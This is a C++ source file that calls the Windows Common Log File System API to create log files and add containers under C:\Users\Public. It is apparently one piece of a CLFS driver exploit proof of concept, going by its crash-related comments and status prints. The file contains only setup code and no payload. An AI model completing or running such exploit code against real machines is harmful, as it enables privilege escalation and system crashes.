createLogFile.cpp

#include "createLogFile.h"

LPCWSTR logPath = NULL, lxgPath = NULL;
HANDLE logHandle = INVALID_HANDLE_VALUE, lxgHandle = INVALID_HANDLE_VALUE;
wchar_t lxgPathBuf[MAX_PATH] = {};
WCHAR containerPath[MAX_PATH] = {}, containerPath1[MAX_PATH] = {};

void initContainerPath() {
	int num = rand();
	swprintf(containerPath, MAX_PATH, L"C:\\Users\\Public\\container_%d", num);
	swprintf(containerPath1, MAX_PATH, L"C:\\Users\\Public\\container_%d", num + 1);
}

void createInitialLogFile() {
	logPath = L"LOG:C:\\Users\\Public\\Log";
	// >>> add FILE_SHARE_WRITE
	logHandle = CreateLogFile(logPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);

	if (logHandle == INVALID_HANDLE_VALUE) {
		puts("[-] Failed to create Log.blf");
		exit(0);
	}

	//puts("[+] Create Log.blf success");
	CloseHandle(logHandle);

	Sleep(500);
	fflush(stdout);
}

void createLxgFile() {
	// open Log.blf
	// if not crash -> add DELETE in arg2
	logHandle = CreateLogFile(logPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL);
	if (logHandle == INVALID_HANDLE_VALUE) {
		wprintf(L"[-] Failed to open %ls\n", logPath);
		exit(0);
	}
	//wprintf(L"[+] Open %ls success\n", logPath);

	Sleep(500);
	fflush(stdout);

	int num = rand();
	memset(lxgPathBuf, 0, sizeof(lxgPathBuf));
	swprintf(lxgPathBuf, MAX_PATH, L"%ls_%03d", L"LOG:C:\\Users\\Public\\Lxg", num);
	lxgPath = lxgPathBuf;
	// why we must put DELETE in arg2? 
	// because if not add DELETE in CreateLogFile for lxgHandle, the later code that calls NtSetInformationFile to mark the file for deletion will fail with error code 0x22 (ERROR_NO_UNICODE_TRANSLATION)
	lxgHandle = CreateLogFile(lxgPath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL);
	if (lxgHandle == INVALID_HANDLE_VALUE) {
		wprintf(L"[-] Failed to create %ls, error: 0x%lx\n", lxgPath, GetLastError());
		exit(0);
	}

	//wprintf(L"[+] Create %ls success\n", lxgPath);

	Sleep(500);
	fflush(stdout);
}

void addLogContainerLxgFile() {
	ULONGLONG containerSize = 0x200;

	initContainerPath();
	BOOL ok = AddLogContainer(lxgHandle, &containerSize, containerPath, NULL);
	if (!ok) {
		wprintf(L"[-] Failed to add log container to %ls, error: 0x%lx\n", lxgPath, GetLastError());
		CloseHandle(lxgHandle);
		CloseHandle(logHandle);
		exit(0);
	}

	//wprintf(L"[+] Add log container to %ls success, container=%ls\n", lxgPath, containerPath);

	Sleep(500);
	fflush(stdout);
}